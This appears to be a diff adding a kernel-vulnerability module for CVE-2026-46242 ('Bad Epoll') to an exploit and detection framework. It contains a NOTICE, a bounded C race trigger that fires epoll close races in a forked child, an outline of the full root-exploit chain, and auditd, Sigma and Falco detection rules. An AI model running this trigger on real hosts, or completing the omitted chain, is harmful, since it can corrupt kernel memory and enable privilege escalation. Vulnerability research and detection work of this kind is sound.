||||||
|
**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
|
||||||
|
`NOTICE.md`.
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
# NOTICE — bad_epoll (CVE-2026-46242)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
|
||||||
|
the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
|
||||||
|
path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
|
||||||
|
to use the file inside the critical section (`hlist_del_rcu()` over the
|
||||||
|
eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
|
||||||
|
linked epoll file observes the transient `NULL` `f_ep`, skips
|
||||||
|
`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
|
||||||
|
`struct eventpoll` still in use → UAF.
|
||||||
|
|
||||||
|
The bug is reachable by **any unprivileged local user** — `epoll_create1`,
|
||||||
|
`epoll_ctl`, and `close` require no capability, no user namespace, and no
|
||||||
|
special kernel config. Exploitation converts the 8-byte UAF write into
|
||||||
|
control of a `struct file` via a cross-cache attack, gains arbitrary
|
||||||
|
kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
|
||||||
|
roughly 99% reliable despite a ~6-instruction race window. It also affects
|
||||||
|
Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
|
||||||
|
root cause. **Not** in CISA KEV (brand new).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
|
||||||
|
(GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
|
||||||
|
program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
|
||||||
|
kernelCTF submission under
|
||||||
|
`J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
|
||||||
|
`lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
|
||||||
|
public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
|
||||||
|
close-race shape only — no offsets or ROP are reused).
|
||||||
|
- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
|
||||||
|
- **Fixed upstream** by commit
|
||||||
|
`a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
|
||||||
|
(2026-04-24); stable backport **7.0.13**.
|
||||||
|
- Debian security tracker (authoritative backport versions):
|
||||||
|
<https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
|
||||||
|
`7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
|
||||||
|
of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
|
||||||
|
code not present".
|
||||||
|
|
||||||
|
All credit for finding, analysing, and exploiting this bug belongs to
|
||||||
|
Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
|
||||||
|
is the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||||
|
the corpus's first epoll / VFS-file-teardown module and its cleanest
|
||||||
|
example of an SMP kernel race, shipped on the same "fire the bug class and
|
||||||
|
stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
|
||||||
|
(CVE-2026-23111).
|
||||||
|
|
||||||
|
`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
|
||||||
|
the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
|
||||||
|
affected) — no userns or CONFIG precondition, because none is required.
|
||||||
|
`exploit()` forks a CPU-pinned child that builds the epoll race pair and
|
||||||
|
exercises the `ep_remove`-vs-`__fput` concurrent-close window a
|
||||||
|
hard-bounded number of times (48 attempts / 2 s), widening it with
|
||||||
|
`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
|
||||||
|
returns `EXPLOIT_FAIL`.
|
||||||
|
|
||||||
|
It is **deliberately under-driven**: a won race frees a live
|
||||||
|
`struct eventpoll` (real corruption that rarely trips KASAN), so the module
|
||||||
|
does not grind the race to a win, does not perform the cross-cache reclaim,
|
||||||
|
and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
|
||||||
|
(per-build offsets refused). The trigger is reconstructed from the public
|
||||||
|
kernelCTF PoC, not VM-verified — it never claims root it did not get. It
|
||||||
|
carries the lowest `--auto` safety rank in the corpus.
|
||||||
@@ -0,0 +1,434 @@
|
|||||||
|
/*
|
||||||
|
* bad_epoll_cve_2026_46242 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* CVE-2026-46242 — "Bad Epoll", a race-condition use-after-free in the
|
||||||
|
* Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
|
||||||
|
* path, ep_remove() clears file->f_ep under file->f_lock but keeps
|
||||||
|
* *using* the file inside the critical section (the hlist_del_rcu() over
|
||||||
|
* the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
|
||||||
|
* linked epoll file can observe the transient NULL f_ep, skip
|
||||||
|
* eventpoll_release_file(), and go straight to f_op->release — freeing a
|
||||||
|
* struct eventpoll that the first path is still walking. The result is a
|
||||||
|
* UAF on a live kernel object reachable by ANY unprivileged local user:
|
||||||
|
* epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
|
||||||
|
* namespace, and no special CONFIG (epoll is always built in). That is
|
||||||
|
* what makes it nasty — there is no unprivileged-userns stopgap to close
|
||||||
|
* the way there is for the netfilter bugs; the only fix is to patch.
|
||||||
|
*
|
||||||
|
* Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
|
||||||
|
* to Google's kernelCTF: four epoll objects in two pairs — one pair
|
||||||
|
* drives the race, the other is the victim — turn the 8-byte UAF write
|
||||||
|
* into control of a struct file via a cross-cache attack, then arbitrary
|
||||||
|
* kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
|
||||||
|
* ~99% reliable despite a race window only ~6 instructions wide; it
|
||||||
|
* rarely trips KASAN, which is precisely why the bug hid for three
|
||||||
|
* years.
|
||||||
|
*
|
||||||
|
* CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
|
||||||
|
* 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
|
||||||
|
* a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
|
||||||
|
* 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||||
|
* This is a genuine SMP kernel race that, if *won*, frees a live
|
||||||
|
* struct eventpoll — real memory corruption that (per the public
|
||||||
|
* analysis) rarely trips KASAN, so a won-but-not-completed race can
|
||||||
|
* silently destabilise a vulnerable host rather than cleanly oops.
|
||||||
|
* For that reason this module is deliberately UNDER-DRIVEN: exploit()
|
||||||
|
* builds the epoll object graph and exercises the concurrent-close
|
||||||
|
* window (ep_remove vs __fput) a small, bounded number of times inside
|
||||||
|
* a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
|
||||||
|
* does NOT grind the race to a win, does NOT perform the cross-cache
|
||||||
|
* reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
|
||||||
|
* ROP that lands root (per-build offsets refused). It returns
|
||||||
|
* EXPLOIT_FAIL and never claims root it did not get. The trigger is
|
||||||
|
* reconstructed from the public kernelCTF PoC, not VM-verified. This
|
||||||
|
* is why it carries the lowest safety rank in --auto (a kernel race is
|
||||||
|
* the least predictable class; see skeletonkey.c module_safety_rank).
|
||||||
|
*
|
||||||
|
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||||
|
* >= 6.4 (the commit that introduced the bug) AND below the fix on its
|
||||||
|
* branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
|
||||||
|
* vulnerable code not present"; trixie/6.12 still vulnerable at time of
|
||||||
|
* writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
|
||||||
|
* precondition — any unprivileged user can reach it.
|
||||||
|
*
|
||||||
|
* Affected range (Debian security tracker, source of record):
|
||||||
|
* introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
|
||||||
|
* (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
|
||||||
|
* not landed at time of writing → version-only VULNERABLE there
|
||||||
|
* (tools/refresh-kernel-ranges.py will extend the table as distros
|
||||||
|
* publish). 6.1 and older predate the bug.
|
||||||
|
*
|
||||||
|
* arch_support: x86_64 (the cross-cache groom + any future finisher are
|
||||||
|
* x86_64-tuned; detect() and the reachability trigger are arch-neutral
|
||||||
|
* but we only claim x86_64 for exploit()).
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdatomic.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/epoll.h>
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* Kernel-range table. The fix landed mainline in 7.1-rc1
|
||||||
|
* (a6dc643c6931); the only stable backport that had shipped at time of
|
||||||
|
* writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
|
||||||
|
* {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
|
||||||
|
* kernel_range_is_patched() treats any branch strictly newer than every
|
||||||
|
* entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
|
||||||
|
* below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
|
||||||
|
* vulnerable — which is exactly the Debian tracker's verdict. Add
|
||||||
|
* 6.6.x / 6.12.x entries here when those LTS backports land (the drift
|
||||||
|
* checker flags them). security-tracker.debian.org is the source.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
static const struct kernel_patched_from bad_epoll_patched_branches[] = {
|
||||||
|
{7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range bad_epoll_range = {
|
||||||
|
.patched_from = bad_epoll_patched_branches,
|
||||||
|
.n_patched_from = sizeof(bad_epoll_patched_branches) /
|
||||||
|
sizeof(bad_epoll_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The vulnerable ep_remove()/__fput() interleaving was introduced by
|
||||||
|
* commit 58c9b016e128 in 6.4. Below that the code pattern is absent
|
||||||
|
* (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
|
||||||
|
* vulnerable code not present"). */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
|
||||||
|
"epoll teardown path (introduced 6.4) — not affected\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (kernel_range_is_patched(&bad_epoll_range, v)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
|
||||||
|
"7.1+ inherits the mainline fix)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
|
||||||
|
"[6.4, fix); epoll teardown race reachable by any "
|
||||||
|
"unprivileged user (no userns / CONFIG gate)\n",
|
||||||
|
v->release);
|
||||||
|
fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
|
||||||
|
"here — the only fix is to patch the kernel\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* Reconstructed reachability trigger (deliberately under-driven).
|
||||||
|
*
|
||||||
|
* Faithful minimal shape of the public PoC's race pair: a "waiter"
|
||||||
|
* epoll watches a "target" epoll; the two are then closed concurrently
|
||||||
|
* from CPU-pinned contexts so ep_remove() (driven by fput of the
|
||||||
|
* watched target) races __fput() of the waiter eventpoll. The PoC
|
||||||
|
* widens the ~6-instruction window with close(dup(target)) storms that
|
||||||
|
* induce false-sharing on the file's f_count cache line and stall the
|
||||||
|
* racer's read of f_op.
|
||||||
|
*
|
||||||
|
* We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
|
||||||
|
* small iteration + wall-clock budget, then stop. We do NOT reclaim the
|
||||||
|
* freed slab, do NOT run the depth-3 nesting oracle that only fires
|
||||||
|
* after a real UAF write, and do NOT weaponise. The honest witness is
|
||||||
|
* therefore coarse: a signal in the isolated child (a KASAN oops or
|
||||||
|
* corruption fault, if the race happened to fire) and an eventpoll-slab
|
||||||
|
* delta. Absence of a witness does NOT prove the host is safe.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
#define BEP_RACE_ITERS 48 /* bounded — reachability probe, not a winner */
|
||||||
|
#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */
|
||||||
|
#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */
|
||||||
|
|
||||||
|
static void bep_pin_cpu(int cpu)
|
||||||
|
{
|
||||||
|
cpu_set_t set;
|
||||||
|
CPU_ZERO(&set);
|
||||||
|
CPU_SET(cpu, &set);
|
||||||
|
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||||
|
}
|
||||||
|
|
||||||
|
struct bep_racer {
|
||||||
|
int waiter_fd; /* fd the racer closes */
|
||||||
|
atomic_int *go; /* fire signal from main */
|
||||||
|
atomic_int *closed; /* set once the racer has closed */
|
||||||
|
};
|
||||||
|
|
||||||
|
static void *bep_racer_fn(void *arg)
|
||||||
|
{
|
||||||
|
struct bep_racer *r = (struct bep_racer *)arg;
|
||||||
|
bep_pin_cpu(0);
|
||||||
|
/* Spin until main is at the close point, then race. */
|
||||||
|
while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
|
||||||
|
;
|
||||||
|
close(r->waiter_fd);
|
||||||
|
atomic_store_explicit(r->closed, 1, memory_order_release);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static long bep_slabinfo_active(const char *slab)
|
||||||
|
{
|
||||||
|
FILE *f = fopen("/proc/slabinfo", "r");
|
||||||
|
if (!f) return -1;
|
||||||
|
char line[512];
|
||||||
|
long active = -1;
|
||||||
|
size_t n = strlen(slab);
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
|
||||||
|
long a;
|
||||||
|
if (sscanf(line + n, " %ld", &a) == 1) active = a;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return active;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* One race attempt: build (target, waiter) with waiter watching target,
|
||||||
|
* then close both concurrently. Returns 0 normally; the interesting
|
||||||
|
* outcome (a won race) manifests as a signal that the parent observes,
|
||||||
|
* not a return value. */
|
||||||
|
static void bep_one_attempt(void)
|
||||||
|
{
|
||||||
|
int target = epoll_create1(EPOLL_CLOEXEC);
|
||||||
|
if (target < 0) return;
|
||||||
|
int waiter = epoll_create1(EPOLL_CLOEXEC);
|
||||||
|
if (waiter < 0) { close(target); return; }
|
||||||
|
|
||||||
|
/* waiter watches target — this is the link that makes closing target
|
||||||
|
* drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
|
||||||
|
struct epoll_event ev = { .events = EPOLLIN };
|
||||||
|
ev.data.fd = target;
|
||||||
|
if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
|
||||||
|
close(waiter); close(target); return;
|
||||||
|
}
|
||||||
|
|
||||||
|
atomic_int go = 0, closed = 0;
|
||||||
|
struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
|
||||||
|
pthread_t th;
|
||||||
|
if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
|
||||||
|
close(waiter); close(target); return;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Widen the window: false-sharing storm on target's f_count line,
|
||||||
|
* then release the racer and close target ourselves so ep_remove
|
||||||
|
* (our fput of the watched file) overlaps __fput of the waiter. */
|
||||||
|
for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
|
||||||
|
int d = dup(target);
|
||||||
|
if (d >= 0) close(d);
|
||||||
|
}
|
||||||
|
atomic_store_explicit(&go, 1, memory_order_release);
|
||||||
|
close(target);
|
||||||
|
|
||||||
|
pthread_join(th, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
skeletonkey_result_t pre = bad_epoll_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] bad_epoll: already running as root\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
|
||||||
|
"the epoll race pair and exercises the ep_remove vs __fput "
|
||||||
|
"close window (%d bounded attempts, %ds cap), then stops. "
|
||||||
|
"The cross-cache → struct file control → fdinfo arb-read → "
|
||||||
|
"ROP root-pop is NOT bundled.\n",
|
||||||
|
BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
|
||||||
|
|
||||||
|
/* Fork-isolated: a won race frees a live struct eventpoll. On a
|
||||||
|
* KASAN kernel that oopses (contained to the child); on a plain
|
||||||
|
* vulnerable kernel it may corrupt — which is exactly why we bound
|
||||||
|
* the attempt count hard and never reclaim. */
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
|
if (child == 0) {
|
||||||
|
bep_pin_cpu(1);
|
||||||
|
long before = bep_slabinfo_active("eventpoll");
|
||||||
|
if (before < 0) before = bep_slabinfo_active("kmalloc-192");
|
||||||
|
|
||||||
|
time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
|
||||||
|
int done = 0;
|
||||||
|
for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||||
|
bep_one_attempt();
|
||||||
|
done = i + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
long after = bep_slabinfo_active("eventpoll");
|
||||||
|
if (after < 0) after = bep_slabinfo_active("kmalloc-192");
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
|
||||||
|
"eventpoll/kmalloc-192 active: %ld → %ld\n",
|
||||||
|
done, before, after);
|
||||||
|
_exit(100); /* honest: window exercised, race not driven to a win */
|
||||||
|
}
|
||||||
|
|
||||||
|
int status;
|
||||||
|
waitpid(child, &status, 0);
|
||||||
|
if (WIFSIGNALED(status)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
|
||||||
|
"teardown race may have fired (KASAN oops / corruption "
|
||||||
|
"fault). This is the bug, but no root was obtained.\n",
|
||||||
|
WTERMSIG(status));
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
|
||||||
|
"primitive). Full chain is NOT bundled and the trigger "
|
||||||
|
"is not VM-verified — honest EXPLOIT_FAIL.\n");
|
||||||
|
fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
|
||||||
|
"cross-cache reclaim (eventpoll slab → pipe buffers) + "
|
||||||
|
"/proc/self/fdinfo arbitrary read + ROP for "
|
||||||
|
"CVE-2026-46242.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
|
||||||
|
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
|
||||||
|
"UAF) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ----- Embedded detection rules -----
|
||||||
|
*
|
||||||
|
* Honesty note (see MODULE.md): epoll is one of the most heavily used
|
||||||
|
* kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
|
||||||
|
* unprivileged process is the steady-state behaviour of nginx, systemd,
|
||||||
|
* every language runtime's event loop, etc. There is NO clean behavioural
|
||||||
|
* signature for this exploit, and it rarely trips KASAN. These rules are
|
||||||
|
* therefore intentionally weak/structural — the reliable signal is the
|
||||||
|
* post-exploitation privilege transition, not the epoll traffic. Tune
|
||||||
|
* hard or you will drown in false positives.
|
||||||
|
*/
|
||||||
|
static const char bad_epoll_auditd[] =
|
||||||
|
"# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
|
||||||
|
"# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
|
||||||
|
"# are ubiquitous and benign. The only reliable smoking gun is an\n"
|
||||||
|
"# unprivileged process transitioning to euid 0 without going through a\n"
|
||||||
|
"# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
|
||||||
|
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
|
||||||
|
|
||||||
|
static const char bad_epoll_sigma[] =
|
||||||
|
"title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
|
||||||
|
"id: 7c1e9d2a-skeletonkey-bad-epoll\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
|
||||||
|
" by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
|
||||||
|
" no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
|
||||||
|
" the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
|
||||||
|
" tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
|
||||||
|
" execve in its ancestry. Expect false positives from legitimate\n"
|
||||||
|
" privilege-management daemons; correlate with kernel oops/BUG lines.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||||
|
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||||
|
" condition: uid0 and unpriv\n"
|
||||||
|
"level: medium\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
|
||||||
|
|
||||||
|
static const char bad_epoll_falco[] =
|
||||||
|
"- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
|
||||||
|
" behavioural signature — epoll syscalls are ubiquitous. This rule\n"
|
||||||
|
" fires on the post-exploitation effect: a non-root process becoming\n"
|
||||||
|
" root outside a setuid binary. False positives: privilege-management\n"
|
||||||
|
" daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||||
|
" not proc.is_setuid = true and user.uid != 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
|
||||||
|
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||||
|
" priority: WARNING\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module bad_epoll_module = {
|
||||||
|
.name = "bad_epoll",
|
||||||
|
.cve = "CVE-2026-46242",
|
||||||
|
.summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
|
||||||
|
.family = "eventpoll",
|
||||||
|
.kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
|
||||||
|
.detect = bad_epoll_detect,
|
||||||
|
.exploit = bad_epoll_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
|
||||||
|
.cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
|
||||||
|
.detect_auditd = bad_epoll_auditd,
|
||||||
|
.detect_sigma = bad_epoll_sigma,
|
||||||
|
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||||
|
.detect_falco = bad_epoll_falco,
|
||||||
|
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
|
||||||
|
.arch_support = "x86_64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_bad_epoll(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&bad_epoll_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* bad_epoll_cve_2026_46242 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||||
|
#define BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module bad_epoll_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -65,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
|||||||
{5, 4, 179},
|
{5, 4, 179},
|
||||||
{5, 10, 100},
|
{5, 10, 100},
|
